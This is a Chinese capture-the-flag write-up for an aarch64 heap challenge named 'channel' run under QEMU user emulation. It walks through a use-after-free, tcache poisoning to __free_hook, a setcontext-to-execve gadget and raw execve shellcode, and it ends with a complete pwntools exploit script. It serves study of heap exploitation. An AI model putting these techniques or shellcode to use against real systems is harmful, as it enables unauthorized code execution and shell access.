[PWN] - channel
程序分析
程序架构 aarch64,GLIBC 版本 2.31。题目附件提供一个静态编译版本的 qemu(qemu-aarch64-static
)。
Register
使用malloc
分配一个CHANNEL
结构体,输入 0x100 字节数据作为它的key
。创建后,插入HEAD
全局变量(qword_12018
)指向的链表首部。
struct CHANNEL
{
char key[256];
struct CHANNEL *next_channel;
struct NODE *next_node;
};
Write
主要是创建并向CHANNEL
添加NODE
结构体。
首先根据输入的key
,从HEAD
指向的链表搜索
CHANNEL
;找到对应的CHANNEL
后,用malloc
分配0< size <= 0x200
的堆内存,编辑堆内存,最后创建NODE
结构体并将其添加到CHANNEL
的next_node
指针指向的链表尾部。
struct NODE
{
char *ptr;
struct NODE *next;
};
Read
没什么用。主要是打印CHANNEL
的NODE
链表第一个元素,然后将元素从链表移除。
UnResiger
从HEAD
链表移除CHANNEL
。
根据输入的key
:
- 若链表只有一个
CHANNEL
且key
相符,用free
释放HEAD
指向的CHANNEL
并清空HEAD
。 - 否则,若
key
与HEAD
指向的CHANNEL
相符,将HEAD
指向下一个CHANNEL
,然后释放原来的CHANNEL
。 - 否则,遍历
HEAD
链表。若key
与某个next_channel
指针指向的CHANNEL
相符,用free
释放这个CHANNEL
。
BUG
UnResiger 遍历HEAD
链表时,没有将释放后的next_channel
指针清空,导致 use-after-free 或者 double-free。
题目限制比较多:
NODE
只能在分配的时候编辑一次,不能用free
释放。- 不能直接操纵
HEAD
链表上面的指针地址。 - 不能泄露任何地址(当然没有必要泄露)。
比赛期间我没有解出这道题。后来看了师兄的 EXP 才发现自己的做题方向错了:其实只需使用 Chunk Overlapping 就能劫持 freed tcache chunk 实现任意地址分配,没有必要使用 GLIBC 2.31 新版本利用手法。
由于 QEMU 的原因,本题漏洞利用难度不大,因为 在 User Mode Emulation 下,被模拟程序的内存地址空间是固定的、堆和栈内存都是可执行的 ,相当于直接无视程序原本启用的 PIE、NX 保护措施。在程序基址、libc 基址和堆基址均已知的情况下,堆布局和劫持控制流变得十分容易。
漏洞利用
主要思路: 首先构建一个正好覆盖某个CHANNEL
结构体的 overlapping chunk;然后释放被覆盖的CHANNEL
到 tcache 后,利用 use-after-free 修改另一个CHANNEL
的next_channel
指针指向 overlapping chunk;最后通过 overlapping chunk 修改 tcache fd 实现任意地址分配。
STEP1: 分配五个CHANNEL
A、B、C、ctx1 和 ctx2。创建 A 后,添加一个 0x10 大小的NODE
作为 overlapping chunk 头。overlapping chunk 大小为 0x150,overlap 了NODE
和后面的 B(0x150=0x10+0x20+0x120
)。
reg("A")
write("A", 0x10, flat([0, 0x151])) # fake chunk, size 0x150, overlapping B
reg("B")
reg("C")
reg(ctx1)
reg(ctx2)
此时HEAD
链表:ctx2->ctx1->C->B->A->(nil)
。
先释放 A,再释放 B。注意由于 UnResiger 的 BUG,A、B 和下文释放的 C 仍然存在于HEAD
链表中。
unreg("A")
unreg("B")
STEP2: 释放C,然后立刻使用 Write 重新分配回来。将next_channel
指针修改为 overlapping chunk 地址。
# c->next_channel = overlapping chunk
unreg("C")
write(ctx1, 0x110, b'C'.ljust(0x100, NUL) + p64(heapbase+0x7e0))
以 overlapping chunk 前 0x100 字节数据作为key
,利用
UnResiger 释放 overlapping chunk 。
# free c->next_head (aka overlapping chunk)
key = flat([0, 0x21, heapbase+0x7d0, 0, 0, 0x121, heapbase+0x6b0, heapbase+0x10])
unreg(key)
STEP3: 最后使用 Write 分配得到 overlapping chunk,这样就能修改位于 tcache 里面 B 的 fd了。
# edit fake chunk, set B fd = free_hook
ctx += [0, 0, 0, 0]
ctx += [0, 0x121, libcbase+0x16FC30] # free_hook
write(ctx1, 0x140, flat(ctx))
将 fd 指向free_hook
后,两次分配就能得到free_hook
。
reg("B")
# get and edit free_hook
write(ctx1, 0x110, p64(libcbase+0x42B6C)) # setcontext+0x8c
方法一:setcontext+execve
最初我想用system
+/bin/sh
地址的方法来 getshell。由于不明原因(可能是栈没对齐),system
总是出现 SEGFAULT
或者 stack smashing
的错误,无法 getshell。最后我使了用setcontext
+execve
的方法成功 getshell。
主要思路: 利用setcontext
劫持控制流和前三个参数,执行execve("/bin/sh", NULL, NULL)
。
在 aarch64 GLIBC 2.31 下,setcontext gadget 十分容易利用。我们一共需要控制 4 个寄存器:pc
寄存器和x0 / x1 / x2
三个参数寄存器,而setcontext
设置这些寄存器的代码恰好位于函数结尾附近,正好形成一个 gadget。
.text:0000000000042B6C LDR X16, [X0,#0x1B8] ; pc = [x0+0x1b8]
.text:0000000000042B70 LDP X2, X3, [X0,#0xC8]
.text:0000000000042B74 LDP X4, X5, [X0,#0xD8]
.text:0000000000042B78 LDP X6, X7, [X0,#0xE8]
.text:0000000000042B7C LDP X0, X1, [X0,#0xB8] ; x0 = [x0+0xb8]
.text:0000000000042B80 BR X16
因此只需控制好x0
寄存器,我们就能十分容易地劫持控制流到execve
了(题外话,x64 GLIBC 2.31 还需要控制RDX
寄存器,利用比以前麻烦多了)。
STEP1: 在一开始分配CHANNEL
时,将execve
和/bin/sh
地址放置到ctx1
、ctx2
的key
上的特定位置。
# Place ucontext in heap
ctx1 = NUL*0xb8 + p64(0x128950+libcbase) # x0 = "/bin/sh", x1 = x2 = '\x00'
ctx2 = NUL*0x98 + p64(0xA3EC0+libcbase) # pc = execve
reg(ctx1)
reg(ctx2)
STEP2: 修改free_hook
为setcontext
后,释放ctx1
即可 getshell。
unreg(ctx1)
execve
将整个qemu
进程切换成 x64 的/bin/sh
,无需准备 aarch64 版本的sh
。
方法二:shellcode
还有一种更加简单的方法:执行 shellcode。由于 User Mode Emulation 的特性,被模拟程序不受 NX 保护措施影响,堆内存(以及栈内存)仍然是可执行的。
STEP1: 将 shellcode 放置在任意一个堆块上,然后将free_hook
指向这个堆块。
shellcode 可以使用asm(shellcraft.sh())
生成或者去Exploit-DB和Shell storm上面找一个。
我在 Exploit-DB 找了一个execve("/bin/sh", NULL, NULL)
的 shellcode(电脑刚好没装 aarch64 版的 Binutils,asm
用不了)。
# https://www.exploit-db.com/exploits/47048
shellcode = b"\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa\xe0\x63\x21\x8b\xa8\x1b\x80\xd2\xe1\x66\x02\xd4"
reg(shellcode)
# get and edit free_hook
write(ctx1, 0x110, p64(heapbase+0x810)) # shellcode on heap
STEP2: 调用free
函数后,就能执行 shellcode 了。
unreg(ctx1)
其他
GDB 库文件符号问题
使用 QEMU 模拟执行非宿主结构程序,需要使用-L
参数指定运行依赖库文件所在目录。以本题为例,需要将题目提供的ld-linux-aarch64.so.1
和libc-2.31.so
(改名为libc.so.6
)放置到某个目录的lib
目录下:
root@2d29eb9d6b1c:/pwn# ls -l ./root/lib
total 1556
-rw-r--r-- 1 root root 145208 May 15 07:01 ld-linux-aarch64.so.1
-rw-r--r-- 1 root root 1442744 May 15 07:02 libc.so.6
然后指定-L
参数运行:./qemu-aarch64-static -L ./root ./channel
这样导致 GDB 无法搜索到libc.so.6
文件的正确路径,从而无法加载符号表。如下图,缺少符号表导致 pwndbg 不能标识地址的符号名称:
vmmap
显示不了被模拟程序的内存空间:
使用info sharedlibrary
查看 GDB 库文件的加载状况,可以发现 GDB 仍然使用程序原来的库文件路径:
pwndbg> info sharedlibrary
warning: Could not load shared library symbols for 2 libraries, e.g. /lib/libc.so.6.
Use the "info sharedlibrary" command to see the complete listing.
Do you need "set solib-search-path" or "set sysroot"?
From To Syms Read Shared Object Library
No /lib/libc.so.6
No /lib/ld-linux-aarch64.so.1
解决方法是使用set solib-search-path
或者set sysroot
指定 GDB 库文件路径。
以上面的路径为例,设置set sysroot ./root
后,GDB 正确地搜索到库文件的文章:
pwndbg> info sharedlibrary
From To Syms Read Shared Object Library
0x00000040008150c0 0x000000400082d3e8 Yes (*) ./root/lib/ld-linux-aarch64.so.1
0x00000040008707c0 0x000000400095fc90 Yes (*) ./root/lib/libc.so.6
(*): Shared library is missing debugging information.
GDB 正常显示符号:
vmmap
正常显示内存空间,从这里可以知道程序基址和 libc 库基址:
注意 pwngdb 的codebase/heapbase/libcbase
命令返回的仍然是错误的地址(返回的是qemu
进程的地址)。
free_hook 偏移地址
本题需要用到free_hook
劫持程序控制流,一般使用pwntools
查找它的偏移地址。
elf = ELF("./libc-2.31.so")
print(hex(elf.symbols["__free_hook"])) #0x16fc30
pwntools
偶尔会返回错误的结果,原因不明。我做题的时候也遇到了几次,但最后无法复现。
这里介绍一种通过查看汇编代码来寻找free_hook
偏移地址的思路,适用于某些特殊场合(比如给出的 libc 库已 stripped)。
对于malloc
、free
等使用hook
的函数,函数开头一般是检查hook
是否为非空的代码,若非空,则转跳到hook
指向的地址。所以我们很容易地在函数开头处找到hook
的引用或者引用指针。
以本题 aarch64 GLIBC 2.31 找 free_hook
为例。首先用 IDA 打开free
函数,很容易在函数开头发现一个__free_hook_ptr
的东西,这是__free_hook
的GOT表。点击进入__free_hook_ptr
后,就能找到__free_hook
的内存位置了。
如果给的 libc 库没有带符号信息,可以结合上下文和汇编指令判断(注意,x86/x64没有 __free_hook_ptr
,free
直接引用__free_hook
)。
.text:0000000000079908 STP X29, X30, [SP,#var_30]!
.text:000000000007990C ADRP X1, #__free_hook_ptr@PAGE ; 加载 __free_hook_ptr 地址
.text:0000000000079910 MOV X29, SP
.text:0000000000079914 LDR X1, [X1,#__free_hook_ptr@PAGEOFF] ; 加载 __free_hook 地址
.text:0000000000079918 LDR X2, [X1] ; 加载 __free_hook 的值
.text:000000000007991C CBNZ X2, loc_799C4 ; 若 __free_hook 值非空,转跳到__free_hook
GDB 调试 QEMU 模拟程序
QEMU 使用-g
参数后,GDB 可以调试模拟程序。用 kill 命令对 qemu 进程发送 SIGTRAP 信号可以使模拟程序暂停,相当于按下Ctrl+C
。
EXP
from pwn import *
context(arch="aarch64", log_level="debug")
DEBUG=1
if DEBUG:
p = process(["./qemu-aarch64-static", "-g", "1234", "-L", "./root", "./channel"])
gdb.attach(("127.0.0.1", 1234), "set sysroot ./root\nc", exe="./channel")
else:
p = process(["./qemu-aarch64-static", "-L", "./root", "./channel"])
'''
root@2d29eb9d6b1c:/pwn# ls -l ./root/lib
total 1556
-rw-r--r-- 1 root root 145208 May 15 07:01 ld-linux-aarch64.so.1
-rw-r--r-- 1 root root 1442744 May 15 07:02 libc.so.6
'''
NUL=b'\x00'
p_sl = lambda ctx, ind: p.sendlineafter(ind, ctx)
p_s = lambda ctx, ind: p.sendafter(ind, ctx)
def p_ins():
if DEBUG:
os.kill(p.pid, signal.SIGTRAP)
def reg(key):
p_sl('1', ">")
p_s(key.ljust(0x100, NUL), "key>")
def unreg(key):
p_sl('2', ">")
p_s(key.ljust(0x100, NUL), "key>")
def write(key, len, ctx='\x00'):
p_sl('4', ">")
p_s(key.ljust(0x100, NUL), "key>")
p_sl(str(len), "len")
p_s(ctx, "content")
libcbase = 0x4000850000
heapbase = 0x40009c4000
reg(b"A")
write(b"A", 0x10, flat([0, 0x151])) # overlapping chunk, size 0x150, overlapping B
reg(b"B")
reg(b"C")
# Place ucontext in heap
ctx1 = NUL*0xb8 + p64(0x128950+libcbase) # x0 = "/bin/sh"
ctx2 = NUL*0x98 + p64(0xA3EC0+libcbase) # pc = execve
reg(ctx1)
reg(ctx2)
# send A, B to tcache
unreg(b"A")
unreg(b"B")
# c->next_channel = overlapping chunk
unreg(b"C")
write(ctx1, 0x110, b'C'.ljust(0x100, NUL) + p64(heapbase+0x7e0))
# free c->next_channel (aka overlapping chunk)
key = flat([0, 0x21, heapbase+0x7d0, 0, 0, 0x121, heapbase+0x6b0, heapbase+0x10])
unreg(key)
# edit overlapping chunk, set B fd = free_hook
ctx = [0, 0, 0, 0, 0, 0x121, libcbase+0x16FC30] # free_hook
write(ctx1, 0x140, flat(ctx))
#######################################################################
def setcontext_execve():
reg(b"B")
# get and edit free_hook
write(ctx1, 0x110, p64(libcbase+0x42B6C)) # setcontext+0x8c
def shellcode_on_heap():
# https://www.exploit-db.com/exploits/47048
shellcode = b"\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa\xe0\x63\x21\x8b\xa8\x1b\x80\xd2\xe1\x66\x02\xd4"
reg(shellcode)
# get and edit free_hook
write(ctx1, 0x110, p64(heapbase+0x810)) # shellcode on heap
#######################################################################
#shellcode_on_heap()
setcontext_execve()
# getshell (setcontext+execve or shellcode)
p_ins() # b *0x40008c99d4
unreg(ctx1)
p.interactive()
没有帐号? 立即注册